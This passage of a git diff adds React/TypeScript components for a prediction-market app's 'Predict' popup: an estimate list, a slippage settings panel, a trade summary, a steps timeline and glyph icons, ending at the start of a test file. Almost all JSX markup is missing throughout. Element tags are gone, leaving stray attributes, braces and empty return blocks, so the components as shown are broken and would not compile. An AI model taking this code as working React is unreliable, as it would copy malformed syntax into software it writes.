    + ) : null; + + return ( + (open || (isRunning && !canClose) ? undefined : onClose())} + className={clsx( + "fixed top-18 left-1/2 -translate-x-1/2 transform", + "h-auto max-h-[calc(100dvh-5rem)] md:max-h-[calc(100dvh-5.5rem)]", + "w-[calc(100vw-2rem)] max-w-[480px]", + "flex px-4 pt-4 pb-0! md:px-5 md:pt-5", + "fs-aurora rounded-fs-popup bg-fs-surface border border-(--fs-popup-edge) shadow-(--fs-popup-shadow)", + )} + > + {/* on a phone on its side the whole popup scrolls between its sticky 40px header and its sticky button; + it reaches 12px into the dialog's right padding for the close button's target, 4px into the left for Predict's ring */} +
    +
    +

    + {/* keyed, so the new title enters as the panel does */} + + {settingsOpen ? "Settings" : "Predict"} + +

    +
    + + } + isDisabled={isRunning && !canClose} + // under the Settings title the X closes the settings, not the prediction behind them + onPress={settingsOpen ? () => setSettingsWanted(false) : onClose} + className={clsx( + "relative -mr-1.5 size-8 justify-center rounded-full! p-0", + "hover:bg-transparent [@media(hover:hover)]:hover:bg-fs-popup-hover disabled:opacity-40", + "before:absolute before:-inset-1.5 before:content-['']", + // the scroller's top edge is the button's, so its ring sits inside + "landscape-phone:[--fs-focus-offset:-2px]", + )} + /> +
    +
    + + setSettingsWanted(false)} + hasCredits={credits !== undefined} + panelRef={settingsPanel} + firstControlRef={firstSetting} + onTabPastEnd={() => gearRef.current?.focus()} + /> + + {/* takes no box, so the regions stay the column's own; under the settings they keep their space, out of reach */} +
    +
    +

    + {`${selected.length} ${selected.length === 1 ? "estimate" : "estimates"}`} +

    + {/* over four rows three and a half show, over three on a phone two and a half: the cut row, under a row-tall fade, is the cue */} + 4 && "max-h-28", + selected.length > 3 && "max-sm:max-h-20", + )} + > + + +
    + + {/* the steps end flush with the body, so any overflow hides some of them */} + {/* a step row's height of fade, so a bullet half under it never shows a hard edge */} + +
    + + {recovered ? ( +
    +
    +
    {recovered.depositSettled ? "Already deposited" : "New deposit"}
    +
    + {shownAmount(recovered.deposit, recovered.token.decimals)} {recovered.token.symbol} +
    +
    +
    +
    {mintSettled ? "Trade-wallet collateral used" : "Trade-wallet collateral"}
    +
    + {shownAmount(recovered.funding.fromTradeWallet, collateral.decimals)} {collateral.symbol} +
    +
    + {recovered.funding.creditsIn > 0n ? ( +
    +
    {mintSettled ? "Credits already spent" : "Credits to spend"}
    +
    {shownAmount(recovered.funding.creditsIn, collateral.decimals)} credits
    +
    + ) : null} +
    + ) : null} + 0n ? { isEstimated: true as const } : {}), + } + } + isOpen={summaryOpen} + onToggle={() => setSummaryOpen((open) => !open)} + // before the run, Details waits for the plans Predict will hold the run to + isPricing={ + isPricing || + isRetryingPrices || + (!pricesReady && + (!isLocked || recovered !== undefined) && + notice === undefined && + selected.length > 0) + } + isEstimated={(runToken ?? token).id === "native"} + creditsSwap={shownCreditsSwap && { ...shownCreditsSwap, ...(swapLanded ? { landed: true } : {}) }} + slippage={recovered?.slippage ?? inUse} + onOpenSettings={settingsLocked ? undefined : () => setSettingsWanted(true)} + /> + +
    +
    + + {/* outside the body's scroll area, so the reason a run stopped shows with the button; its slot is held empty or not */} +

    + {status ? ( + + + {status.text} + + ) : null} +

    + + {/* under 375px Go back and Confirm new prices outgrow one row, so Confirm stacks over Go back */} +
    + {isMoved && onBack && !isStacked ? goBack : null} + {isStacked ? null : discard} + + {isMoved && onBack && isStacked ? goBack : null} + {isStacked ? discard : null} +
    +
    +
    +
    + ); +} diff --git a/apps/web/src/features/predict/components/PredictList.tsx b/apps/web/src/features/predict/components/PredictList.tsx new file mode 100644 index 00000000..3608020b --- /dev/null +++ b/apps/web/src/features/predict/components/PredictList.tsx @@ -0,0 +1,189 @@ +import { useEffect, useRef, useState } from "react"; + +import clsx from "clsx"; + +import LightButton from "@/components/ui/LightButton"; + +import CloseIcon from "@/assets/svg/close.svg"; +import ArrowDown from "@/assets/svg/long-arrow-down.svg"; +import ArrowUp from "@/assets/svg/long-arrow-up.svg"; + +import { formatEstimate } from "@/utils/formatEstimate"; + +import type { SelectedEstimate } from "../types"; +import type { PreviewTrades } from "../utils/plan"; + +/** An estimate as the list shows it; a stored run's has no market estimate to compare against. */ +export type ListedEstimate = Pick & + Partial>; + +/** An option's market estimate before and after the prediction, in the option's unit. */ +export interface PriceMove { + from: number; + to: number; + /** The trades that make the move, in the collateral's base units. */ + plan?: Omit & { + /** Underlying the trade wallet already held, which `split` includes. */ + held: bigint; + }; + /** Where the move went as shown before Predict, for a market whose plan changed when the pools were read again. */ + was?: { from: number; to: number }; +} + +/** --fs-dur-echo in ms, the length of a row's exit; 0 where no stylesheet sets it. */ +function exitMs(): number { + const token = getComputedStyle(document.documentElement).getPropertyValue("--fs-dur-echo").trim(); + const ms = token.endsWith("ms") ? parseFloat(token) : token.endsWith("s") ? parseFloat(token) * 1000 : NaN; + return Number.isFinite(ms) ? ms : 0; +} + +/** The estimates going into the popup, one row each, removable while more than one is left. */ +export function PredictList({ + selected, + onRemove, + isReadOnly, + isFixed = false, +}: { + selected: ListedEstimate[]; + onRemove: (market: string) => void; + isReadOnly: boolean; + /** A stored run's estimates, which offer no remove at all. */ + isFixed?: boolean; +}) { + /** Rows already removed upstream, still shown while they fade, each after the row it followed; null for the first. */ + const [leaving, setLeaving] = useState>([]); + const timers = useRef(new Set>()); + useEffect(() => { + const pending = timers.current; + return () => pending.forEach(clearTimeout); + }, []); + + const shown = selected.filter( + (estimate) => !leaving.some((row) => row.estimate.scale.market === estimate.scale.market), + ); + // a leaving row goes in once the row it follows is in; one following a row no longer listed goes last + let unplaced = leaving; + while (unplaced.length > 0) { + const placed = (row: (typeof leaving)[number]) => + row.after === null || shown.some((each) => each.scale.market === row.after); + const ready = unplaced.filter(placed); + const queued = unplaced.filter((row) => !placed(row)); + const last = ready.length === 0; + for (const row of last ? queued : ready) { + const at = row.after === null ? 0 : shown.findIndex((each) => each.scale.market === row.after) + 1; + shown.splice(at > 0 || row.after === null ? at : shown.length, 0, row.estimate); + } + unplaced = last ? [] : queued; + } + + const remove = (estimate: ListedEstimate) => { + const market = estimate.scale.market; + if (leaving.some((row) => row.estimate.scale.market === market)) return; + const index = shown.indexOf(estimate); + setLeaving((rows) => [...rows, { estimate, after: index > 0 ? shown[index - 1]!.scale.market : null }]); + onRemove(market); + // the token is 1ms under reduced motion + const timer = setTimeout(() => { + timers.current.delete(timer); + setLeaving((rows) => { + const gone = rows.find((row) => row.estimate.scale.market === market); + // a row that followed this one now follows the row this one followed + return rows + .filter((row) => row !== gone) + .map((row) => (gone && row.after === market ? { ...row, after: gone.after } : row)); + }); + }, exitMs()); + timers.current.add(timer); + }; + // the last estimate is never removed + const removable = shown.length - leaving.length > 1; + + return ( +
      + {shown.map((estimate) => ( + remove(estimate) : undefined} + hasRemove={shown.length > 1 && !isFixed} + isLeaving={leaving.some((row) => row.estimate === estimate)} + isReadOnly={isReadOnly} + /> + ))} +
    + ); +} + +function EstimateRow({ + estimate, + onRemove, + hasRemove, + isLeaving, + isReadOnly, +}: { + estimate: ListedEstimate; + onRemove?: () => void; + hasRemove: boolean; + isLeaving: boolean; + isReadOnly: boolean; +}) { + const { scale } = estimate; + const higher = estimate.direction === "higher"; + const Arrow = higher ? ArrowUp : ArrowDown; + + return ( +
  • + + + {scale.name} + + + {formatEstimate(estimate.value, scale.unit)} + {estimate.direction ? ( + + ) : null} + + {hasRemove ? ( + } + isDisabled={isReadOnly || !onRemove} + onPress={onRemove} + /> + ) : null} +
  • + ); +} diff --git a/apps/web/src/features/predict/components/PredictSettings.tsx b/apps/web/src/features/predict/components/PredictSettings.tsx new file mode 100644 index 00000000..605a897a --- /dev/null +++ b/apps/web/src/features/predict/components/PredictSettings.tsx @@ -0,0 +1,343 @@ +import { useEffect, useId, useState, type KeyboardEvent, type Ref, type RefObject } from "react"; + +import clsx from "clsx"; + +import { INERT } from "@/utils/inert"; + +import { DEFAULT_SLIPPAGE, MAX_SLIPPAGE_BPS, MIN_SLIPPAGE_BPS } from "../oracle/tolerances"; +import { + isHighSlippage, + isLowSlippage, + parseSlippagePercent, + SLIPPAGE_LABEL, + slippagePercent, + type SlippageKind, + type SlippageSettings, +} from "../utils/slippage"; + +const FIELDS: { kind: SlippageKind; hint: string; high: string; low: string }[] = [ + { + kind: "tradeBps", + hint: "How far a trade may fill from its plan.", + high: "High slippage. A trade may fill at a much worse price.", + low: "Low slippage. A trade may fail if the pool moves at all.", + }, + { + kind: "creditsBps", + hint: "How far the swap may fill below its quote.", + high: "High slippage. The swap may pay much less than its quote.", + low: "Low slippage. The swap may fail if the pool moves at all.", + }, +]; + +const RANGE_ERROR = `Enter a percent from ${slippagePercent(MIN_SLIPPAGE_BPS)} to ${slippagePercent(MAX_SLIPPAGE_BPS)}.`; + +/** Every control in `panel` a Tab can reach, in order. */ +export const reachable = (panel: HTMLElement | null): HTMLElement[] => + Array.from(panel?.querySelectorAll("button:not([disabled]), input:not([disabled])") ?? []); + +/** + * The popup's settings: a small card under its header over the dimmed body, so the popup keeps its size. Max + * slippage, Auto or the visitor's own percent, for the trades and, for a visitor with credits, the credits swap. + */ +export function PredictSettings({ + id, + labelledBy, + isOpen, + settings, + onChange, + onClose, + hasCredits, + panelRef, + firstControlRef, + onTabPastEnd, +}: { + id: string; + /** Names the panel: the header's title. */ + labelledBy: string; + isOpen: boolean; + settings: SlippageSettings; + onChange: (kind: SlippageKind, bps: number | null) => void; + onClose: () => void; + /** The visitor holds credits, so the credits swap's setting can apply to their run. */ + hasCredits: boolean; + panelRef: RefObject; + firstControlRef: Ref; + /** Tab from the panel's last control; the header's controls come next. */ + onTabPastEnd: () => void; +}) { + // a Reset drops what each field holds unsaved, so every field remounts on it + const [resets, setResets] = useState(0); + // closing drops an entry left invalid too, so the panel never reopens on a value the run does not use + const [closes, setCloses] = useState(0); + const [wasOpen, setWasOpen] = useState(isOpen); + const [drafted, setDrafted] = useState>>({}); + if (wasOpen !== isOpen) { + setWasOpen(isOpen); + if (!isOpen) { + setCloses((count) => count + 1); + setDrafted({}); + } + } + const fields = FIELDS.filter((field) => hasCredits || field.kind !== "creditsBps"); + const isCustom = fields.some((field) => settings[field.kind] !== null || drafted[field.kind]); + useEffect(() => { + // Reset disables itself, so the focus moves on to the first choice + if (resets > 0) reachable(panelRef.current)[0]?.focus(); + }, [resets, panelRef]); + + const onKeyDown = (event: KeyboardEvent) => { + if (event.key === "Escape") { + // the popup closes on Escape too; here it closes only the settings + event.stopPropagation(); + onClose(); + return; + } + // the body under the panel is inert, so the dialog's own wrap finds nothing past the last control + if (event.key === "Tab" && !event.shiftKey && event.target === reachable(panelRef.current).at(-1)) { + event.preventDefault(); + event.stopPropagation(); + onTabPastEnd(); + } + }; + + return ( +
    (event.target === event.currentTarget ? onClose() : undefined)} + {...(isOpen ? {} : INERT)} + className={clsx( + // 8px past the column each side, over the rings and glows its controls draw outside it; a landscape + // phone's column already reaches into the dialog's padding, and anything past it would scroll sideways + "predict-settings bg-fs-surface/85 absolute -inset-x-2 top-10 bottom-0 z-30 overflow-y-auto px-2 pt-1 pb-4", + "landscape-phone:inset-x-0 landscape-phone:pr-3 landscape-phone:pl-1", + // concentric with the dialog's 24px corners, 8px in from its edge on a phone and 12px from md + "rounded-b-2xl md:rounded-b-xl", + )} + > + {/* takes focus from a click on its blank space, which the dialog's focus scope would hand back to the field */} +
    + {fields.map((field, index) => ( + onChange(field.kind, bps)} + onDrafted={(isDrafted) => + setDrafted((was) => (Boolean(was[field.kind]) === isDrafted ? was : { ...was, [field.kind]: isDrafted })) + } + /> + ))} +
    + + {/* the last control, so Tab from it wraps to the gear */} + +
    +
    +
    + ); +} + +function SlippageField({ + kind, + hint, + high, + low, + value, + onChange, + onDrafted, + autoRef, +}: { + kind: SlippageKind; + hint: string; + /** Said under a value over the kind's high threshold. */ + high: string; + /** Said under a value under the kind's low threshold. */ + low: string; + /** Basis points, or null on Auto. */ + value: number | null; + onChange: (bps: number | null) => void; + /** Told whether the field holds an entry that is not saved. */ + onDrafted: (isDrafted: boolean) => void; + autoRef?: Ref; +}) { + const label = SLIPPAGE_LABEL[kind]; + const labelId = useId(); + const hintId = useId(); + const messageId = useId(); + // what the field holds while typed, or after it left the field invalid; nothing is saved until it is valid + const [draft, setDraft] = useState(null); + const [isFocused, setFocused] = useState(false); + const shown = draft ?? (value === null ? "" : slippagePercent(value)); + const parsed = parseSlippagePercent(shown); + // judged once the visitor leaves the field, not mid-number + const isInvalid = parsed === "invalid" && !isFocused; + const isHigh = value !== null && isHighSlippage(kind, value); + const isLow = value !== null && isLowSlippage(kind, value); + const isAuto = value === null && draft === null; + const autoValue = slippagePercent(DEFAULT_SLIPPAGE[kind]); + const isDrafted = draft !== null; + useEffect(() => onDrafted(isDrafted), [isDrafted, onDrafted]); + + const commit = () => { + if (draft === null || parsed === "invalid") return; + onChange(parsed); + setDraft(null); + }; + + const message = isInvalid + ? { text: RANGE_ERROR, tone: "text-fs-tone-error-text" } + : isHigh + ? { text: high, tone: "text-fs-tone-warning-text" } + : isLow + ? { text: low, tone: "text-fs-tone-warning-text" } + : null; + // the last message stays in place while its row folds away, then goes, so the same one is announced again + const [folding, setFolding] = useState(message); + if (message && (folding?.text !== message.text || folding.tone !== message.tone)) setFolding(message); + const drawn = message ?? folding; + + return ( +
    + {/* over the lines under it, so Auto's and the field's extended targets stay whole */} +
    +

    + {label} +

    +
    + + +
    +
    +

    + {hint} + {` Auto is ${autoValue}%.`} +

    + {/* folds open under the hint (transitions.dev 21) */} +
    { + if (event.target === event.currentTarget && !message) setFolding(null); + }} + > +

    + {drawn ? ( + + + {drawn.text} + + ) : null} +

    +
    +
    + ); +} + +function AlertIcon() { + return ( + + + + + + ); +} diff --git a/apps/web/src/features/predict/components/PredictStepsTimeline.tsx b/apps/web/src/features/predict/components/PredictStepsTimeline.tsx new file mode 100644 index 00000000..b7de02f1 --- /dev/null +++ b/apps/web/src/features/predict/components/PredictStepsTimeline.tsx @@ -0,0 +1,115 @@ +import { createContext, useContext, useEffect, useRef } from "react"; + +import { CustomTimeline } from "@kleros/ui-components-library"; +import clsx from "clsx"; + +import { StepBullet } from "./StepBullet"; +import type { PredictStepRow, PredictSteps, StepView } from "../utils/predictSteps"; + +type TimelineItem = React.ComponentProps["items"][number]; + +const Views = createContext>>({}); + +/** + * The library calls `Icon` with no props, so each row's bullet reads its view from context. One component + * per row, defined once: the same type across views keeps the element, so its glyphs can cross-fade. + */ +function WalletBullet() { + return ; +} +function FundsBullet() { + return ; +} +function PredictBullet() { + return ; +} + +/** What the bullet's glyph shows, for a screen reader; the glyph itself is hidden from one. */ +const VIEW_TEXT: Record = { + idle: "to do", + running: "to do", + inactive: "to do", + done: "done", + failed: "stopped here", +}; + +function Bullet({ number, view }: { number: number; view: StepView }) { + return ( + <> + + {VIEW_TEXT[view]} + + ); +} +const BULLETS: Record React.ReactNode> = { + wallet: WalletBullet, + funds: FundsBullet, + predict: PredictBullet, +}; + +/** + * Dimmed only when it will not run, by the stylesheet's quieter text tokens: the library's disabled state is + * opacity 0.5, under 4.5:1. A finished step stays at full strength, as futarchy-ui keeps it. + */ +const TIMELINE_STATE: Record = { + idle: undefined, + running: "loading", + done: undefined, + inactive: undefined, + failed: undefined, +}; + +/** Parts joined by " + " are kept whole, so a wrapped line breaks only after a "+". */ +function keepPartsWhole(text: string): string { + return text.includes(" + ") + ? text + .split(" + ") + .map((part) => part.replaceAll(" ", "\u00a0")) + .join("\u00a0+ ") + : text; +} + +export function PredictStepsTimeline({ steps }: { steps: PredictSteps }) { + const timeline = useRef(null); + const running = steps.rows.find((row) => row.view === "running")?.key; + // the timeline sits below the amount, past the fold of the popup's scroll area on a short window + useEffect(() => { + if (steps.failure === undefined && running === undefined) return; + // a behaviour passed here overrides the stylesheet's reduced-motion scroll-behavior + const reduce = window.matchMedia?.("(prefers-reduced-motion: reduce)").matches; + // a frame later, once the scroll area's own effect has raised its cue strip and shortened the view + const frame = requestAnimationFrame(() => + timeline.current?.scrollIntoView?.({ block: "nearest", behavior: reduce ? "auto" : "smooth" }), + ); + return () => cancelAnimationFrame(frame); + }, [steps.failure, running]); + + const items: TimelineItem[] = steps.rows.map((row) => ({ + title: row.title, + // the detail sits on the title's line, right-aligned + party: keepPartsWhole(row.subtitle), + subtitle: "", + Icon: BULLETS[row.key], + state: TIMELINE_STATE[row.view], + })); + const views = Object.fromEntries(steps.rows.map((row) => [row.key, row.view])); + + const [first, ...rest] = items; + if (!first) return null; + + return ( + // on a phone on its side the popup's status slot scrolls with the steps, so it lands in view too +
    + + + +
    + ); +} diff --git a/apps/web/src/features/predict/components/PredictSummary.tsx b/apps/web/src/features/predict/components/PredictSummary.tsx new file mode 100644 index 00000000..1c1baa36 --- /dev/null +++ b/apps/web/src/features/predict/components/PredictSummary.tsx @@ -0,0 +1,433 @@ +import { useId, type ReactNode } from "react"; + +import clsx from "clsx"; + +import { ChevronIcon } from "@/components/ui/ChevronIcon"; + +import { formatEstimate } from "@/utils/formatEstimate"; +import { INERT } from "@/utils/inert"; + +import { GearIcon } from "./GearIcon"; +import type { ListedEstimate, PriceMove } from "./PredictList"; +import type { CreditsSwapPreview } from "../flow/types"; +import { shownAmount } from "../utils/funding"; +import type { OptionSide } from "../utils/plan"; +import { CHECKING_PRICES } from "../utils/predictSteps"; +import { SLIPPAGE_LABEL, slippagePercent } from "../utils/slippage"; + +/** The credits a run spends and their swap into xDAI as quoted now. */ +export interface CreditsSwapShown { + credits: bigint; + preview: CreditsSwapPreview; + /** The swap as shown before the pools moved, when it now pays less. */ + was?: CreditsSwapPreview; + /** The swap went through with an earlier batch, so no slippage setting applies to it now. */ + landed?: true; +} + +/** WXDAI and xDAI, which the credits swap pays, have 18 decimals. */ +const XDAI_DECIMALS = 18; + +/** Where an estimate's market goes: `250 → 280 $M`, `Stays at 250 $M`, or `Now 250 $M` before a preview is read. */ +export function marketMove(estimate: ListedEstimate, move: PriceMove | undefined): string { + const format = (value: number) => formatEstimate(value, estimate.scale.unit); + if (move && format(move.from) !== format(move.to)) return `${formatEstimate(move.from, null)} → ${format(move.to)}`; + if (move) return `Stays at ${format(move.from)}`; + return estimate.marketEstimate !== undefined ? `Now ${format(estimate.marketEstimate)}` : "No preview"; +} + +/** An option the run trades, whether or not its shown value moves. */ +const isTraded = (move: PriceMove | undefined): boolean => + move?.plan !== undefined && (move.plan.sells.length > 0 || move.plan.buys.length > 0); + +/** The trades spend all they are sized to with no leg reaching the estimate, and the move ends short of it as shown. */ +function stopsShort(estimate: ListedEstimate, move: PriceMove | undefined): boolean { + if (!move?.plan || !isTraded(move)) return false; + if ([...move.plan.sells, ...move.plan.buys].some((leg) => leg.toTarget)) return false; + return formatEstimate(move.to, estimate.scale.unit) !== formatEstimate(estimate.value, estimate.scale.unit); +} + +function headline(selected: ListedEstimate[], preview: Record): string { + const moveOf = (estimate: ListedEstimate) => preview[estimate.scale.market.toLowerCase()]; + const moving = selected.filter((estimate) => { + const move = moveOf(estimate); + const format = (value: number) => formatEstimate(value, estimate.scale.unit); + return move !== undefined && (format(move.from) !== format(move.to) || isTraded(move)); + }).length; + if (moving === 0) return "Market prices"; + const short = selected.filter((estimate) => stopsShort(estimate, moveOf(estimate))).length; + const count = `${moving} ${moving === 1 ? "market moves" : "markets move"}`; + return short > 0 ? `${count} · ${short} ${short === 1 ? "stops" : "stop"} short` : count; +} + +type Plan = NonNullable; + +/** Keeps a figure, its `≈` and its unit on one line. */ +const nb = (...parts: string[]) => parts.join("\u00a0"); + +/** A figure as the amount field shows it, `≈` first where it is estimated, and its unit, singular for exactly 1. */ +function figure(value: bigint, decimals: number, approx: boolean, unit?: [one: string, many: string]): string { + const shown = shownAmount(value, decimals); + const parts = approx ? ["≈", shown] : [shown]; + return unit ? nb(...parts, shown === "1" ? unit[0] : unit[1]) : nb(...parts); +} + +const TOKENS: [string, string] = ["token", "tokens"]; + +/** A wrapped value keeps its label on its first line. */ +const ROW = "flex items-baseline justify-between gap-3"; +const VALUE = "text-fs-popup-text min-w-0 text-right [overflow-wrap:anywhere]"; + +function Arrow() { + return ( + <> + {" "} + →{" "} + + ); +} + +function Side({ side, amount }: { side: OptionSide; amount: string }) { + const up = side === "up"; + return ( + + {nb(amount, up ? "UP" : "DOWN")} + + ); +} + +function Leg({ label, children }: { label: string; children: ReactNode }) { + return ( +
  • + {label} + + {children} + +
  • + ); +} + +/** + * An option's legs in the order the run makes them. A figure the pool maths simulates carries `≈`, and with + * `isEstimated` so does every figure, since the amount going in is itself an estimate. + */ +function TradeLegs({ + plan, + decimals, + name, + isAtEstimate, + isEstimated, +}: { + plan: Plan; + decimals: number; + name: string; + /** The market already shows the visitor's estimate. */ + isAtEstimate: boolean; + isEstimated: boolean; +}) { + const show = (value: bigint, approx: boolean, unit?: [string, string]) => + figure(value, decimals, approx || isEstimated, unit); + const minted = plan.split - plan.held; + // the buys spend what the sells are expected to pay, so they are only as exact as the sells + const sellsPay = plan.sells.length > 0; + + return ( +
      + {plan.sells.length === 0 && plan.buys.length === 0 ? ( + + {isAtEstimate ? "Already at your estimate; left out" : "Too little to move it; left out"} + + ) : null} + {plan.split > 0n ? ( + + {plan.held === 0n + ? show(plan.split, false, TOKENS) + : minted > 0n + ? `${show(minted, false, TOKENS)} + ${figure(plan.held, decimals, false, ["held", "held"])}` + : figure(plan.held, decimals, false, ["held token", "held tokens"])} + + + {" + "} + + + ) : null} + {plan.sells.map((sell) => ( + + + + {show(sell.underlyingOut, true, TOKENS)} + + ))} + {plan.merge > 0n ? ( + + {show(plan.merge, false, ["pair", "pairs"])} + + {show(plan.merge, false, TOKENS)} + + ) : null} + {plan.buys.map((buy) => ( + + {show(buy.amountIn, sellsPay || buy.toTarget, TOKENS)} + + + + ))} + {plan.feeValue > 0n ? {show(plan.feeValue, true, TOKENS)} : null} +
    + ); +} + +/** + * One line that says how many markets this prediction moves, opening onto where each one goes and the trades + * that move it. Only figures the app computes are listed; open or closed is the visitor's choice, whatever the run does. + */ +export function PredictSummary({ + selected, + preview = {}, + collateral, + mint, + isOpen, + onToggle, + isPricing = false, + isEstimated = false, + creditsSwap, + slippage, + onOpenSettings, +}: { + selected: ListedEstimate[]; + /** Keyed by lower-case market. */ + preview?: Record; + /** Option tokens count in the collateral's base units too. */ + collateral: { symbol: string; decimals: number }; + /** Collateral split at the parent into a token of every option; `noun` names one option. */ + mint?: { + amount: bigint; + noun: string; + /** Credits' share is quoted, so the amount is an estimate. */ + isEstimated?: true; + }; + isOpen: boolean; + onToggle: () => void; + /** A run is pricing its routes. */ + isPricing?: boolean; + /** The collateral going in is an estimate, as an xDAI payment's is, so every figure from it is too. */ + isEstimated?: boolean; + /** Credits the run swaps into xDAI, absent where it spends none. */ + creditsSwap?: CreditsSwapShown; + /** The slippage the next press signs with, in basis points; the credits swap's only where one is still to sign. */ + slippage?: { tradeBps: number; creditsBps?: number }; + /** Opens the settings; absent while they cannot change. */ + onOpenSettings?: () => void; +}) { + const body = useId(); + const fees = feesTotal(selected, preview); + // the dialog's focus trap stops on a button in the folded, inert body + const openSettings = isOpen ? onOpenSettings : undefined; + const isPlanned = selected.some((estimate) => preview[estimate.scale.market.toLowerCase()]?.plan !== undefined); + + return ( +
    + + {/* mounted while closed, so the toggle's aria-controls always names it; inert keeps its rows out of reach */} +
    +
    +
    + {mint && mint.amount > 0n ? ( +

    + Mint + + {figure(mint.amount, collateral.decimals, isEstimated || mint.isEstimated === true, [ + collateral.symbol, + collateral.symbol, + ])} + + {nb( + figure(mint.amount, collateral.decimals, isEstimated || mint.isEstimated === true, TOKENS), + "of every", + mint.noun, + )} + +

    + ) : null} + {creditsSwap ? ( + <> +

    + + {creditsSwap.landed ? "Credits swapped" : "Credits swap"} + + + {figure(creditsSwap.credits, collateral.decimals, false, ["credit", "credits"])} + + {figure(creditsSwap.preview.quoted, XDAI_DECIMALS, true, ["xDAI", "xDAI"])} + +

    + {creditsSwap.was ? ( +

    + {`Before: ${figure(creditsSwap.was.quoted, XDAI_DECIMALS, true, ["xDAI", "xDAI"])}`} +

    + ) : null} + {creditsSwap.preview.loss > 0n ? ( +

    + Swap loss + + {figure(creditsSwap.preview.loss, XDAI_DECIMALS, true, ["xDAI", "xDAI"])} + +

    + ) : null} + + ) : null} +
      + {selected.map((estimate) => { + const move = preview[estimate.scale.market.toLowerCase()]; + return ( +
    • +
      + + + + {estimate.scale.name} + + + + {marketMove(estimate, move)} + +
      + {move?.was ? ( +

      + {`Before: ${marketMove(estimate, move.was)}`} +

      + ) : null} + {stopsShort(estimate, move) ? ( +

      + Stops short of your estimate +

      + ) : null} + {move?.plan ? ( + + ) : null} +
    • + ); + })} +
    + {fees !== undefined ? ( +

    + Pool fees, all markets + {figure(fees, collateral.decimals, true, TOKENS)} +

    + ) : null} + {slippage ? ( + + ) : null} + {slippage?.creditsBps !== undefined ? ( + + ) : null} + {isPlanned ? ( +

    + Planned from today's pools. Prices are checked again when you confirm. +

    + ) : null} +
    +
    +
    +
    + ); +} + +/** Every option's pool fees summed, where more than one option pays any. */ +function feesTotal(selected: ListedEstimate[], preview: Record): bigint | undefined { + const fees = selected + .map((estimate) => preview[estimate.scale.market.toLowerCase()]?.plan?.feeValue ?? 0n) + .filter((fee) => fee > 0n); + return fees.length > 1 ? fees.reduce((sum, fee) => sum + fee, 0n) : undefined; +} + +/** A max slippage as the run uses it; pressed, it opens the settings. */ +function SlippageRow({ label, bps, onPress }: { label: string; bps: number; onPress?: () => void }) { + const value = `${slippagePercent(bps)}%`; + const content = ( + <> + {label} + + {value} + {onPress ? : null} + + + ); + return onPress ? ( + + ) : ( +

    + {content} +

    + ); +} + +function TrendIcon() { + return ( + + + + ); +} diff --git a/apps/web/src/features/predict/components/StatusGlyph.tsx b/apps/web/src/features/predict/components/StatusGlyph.tsx new file mode 100644 index 00000000..3c02b690 --- /dev/null +++ b/apps/web/src/features/predict/components/StatusGlyph.tsx @@ -0,0 +1,39 @@ +import type { StatusLine } from "../utils/predictSteps"; + +/** The status callout's 16px mark: its tone, or a clock while a run checks something. */ +export function StatusGlyph({ status, className }: { status: StatusLine; className?: string }) { + const kind = status.waiting ? "waiting" : status.tone; + return ( + + {kind === "warning" ? ( + <> + + + + ) : kind === "error" ? ( + <> + + + + ) : kind === "waiting" ? ( + + ) : ( + <> + + + + )} + + ); +} diff --git a/apps/web/src/features/predict/components/StepBullet.tsx b/apps/web/src/features/predict/components/StepBullet.tsx new file mode 100644 index 00000000..421088e6 --- /dev/null +++ b/apps/web/src/features/predict/components/StepBullet.tsx @@ -0,0 +1,16 @@ +import type { StepView } from "../utils/predictSteps"; + +/** A numbered 24px bullet: the digit, a check and a cross stacked, so a change of `view` cross-fades. */ +export function StepBullet({ view, number }: { view: StepView; number: number }) { + return ( + + {number} + + + + + + + + ); +} diff --git a/apps/web/src/features/predict/components/__tests__/EstimateActions.test.tsx b/apps/web/src/features/predict/components/__tests__/EstimateActions.test.tsx new file mode 100644 index 00000000..94ca7726 --- /dev/null +++ b/apps/web/src/features/predict/components/__tests__/EstimateActions.test.tsx @@ -0,0 +1,72 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { downloadTextFile } from "@/utils/download"; + +import { addresses } from "@/testing/fixtures"; +import type { OptionScale } from "@/types/optionScale"; + +import { useEstimateStore } from "../../stores/estimateStore"; +import { EstimateActions } from "../EstimateActions"; + +vi.mock("@/utils/download", () => ({ downloadTextFile: vi.fn() })); + +const PARENT = addresses.parentMarket; +const [FIRST, SECOND] = addresses.childMarkets; + +const scales: OptionScale[] = [ + { market: FIRST, name: "Villeneuve", color: "#009aff", unit: "$M", lowerBound: 0, upperBound: 500 }, + { market: SECOND, name: "Gerwig", color: "#ff0000", unit: "$M", lowerBound: 0, upperBound: 500 }, +]; +const marketEstimates = { [FIRST]: 312, [SECOND]: 280 }; + +const renderActions = () => + render(); + +beforeEach(() => { + useEstimateStore.setState({ estimates: {} }); + vi.mocked(downloadTextFile).mockReset(); +}); + +describe("EstimateActions", () => { + it("shows nothing while no estimate differs from the market", () => { + useEstimateStore.getState().setEstimate(PARENT, FIRST, 312); + + const { container } = renderActions(); + + expect(container).toBeEmptyDOMElement(); + }); + + it("resets this session's estimates and leaves other sessions alone", async () => { + useEstimateStore.getState().setEstimate(PARENT, FIRST, 250); + useEstimateStore.getState().setEstimate(addresses.deployer, FIRST, 250); + renderActions(); + + await userEvent.click(screen.getByRole("button", { name: "Reset estimates" })); + + expect(useEstimateStore.getState().estimates).toEqual({ [addresses.deployer]: { [FIRST]: 250 } }); + expect(screen.queryByRole("button", { name: "Reset estimates" })).toBeNull(); + }); + + it("cannot reset once the session has stopped trading", () => { + useEstimateStore.getState().setEstimate(PARENT, FIRST, 250); + render(); + + expect(screen.getByRole("button", { name: "Reset estimates" })).toBeDisabled(); + }); + + it("exports the set estimates as a CSV stamped with the local date and time", async () => { + useEstimateStore.getState().setEstimate(PARENT, SECOND, 300); + useEstimateStore.getState().setEstimate(PARENT, FIRST, 250); + renderActions(); + + await userEvent.click(screen.getByRole("button", { name: "Export estimates" })); + + expect(downloadTextFile).toHaveBeenCalledWith( + expect.stringMatching(/^estimates-\d{4}-\d{2}-\d{2}_\d{2}-\d{2}\.csv$/), + "\uFEFFname,estimate\nVilleneuve,250\nGerwig,300", + "text/csv", + ); + }); +}); diff --git a/apps/web/src/features/predict/components/__tests__/EstimateCsvDialog.test.tsx b/apps/web/src/features/predict/components/__tests__/EstimateCsvDialog.test.tsx new file mode 100644 index 00000000..5d3b93be --- /dev/null +++ b/apps/web/src/features/predict/components/__tests__/EstimateCsvDialog.test.tsx @@ -0,0 +1,139 @@ +import { render, 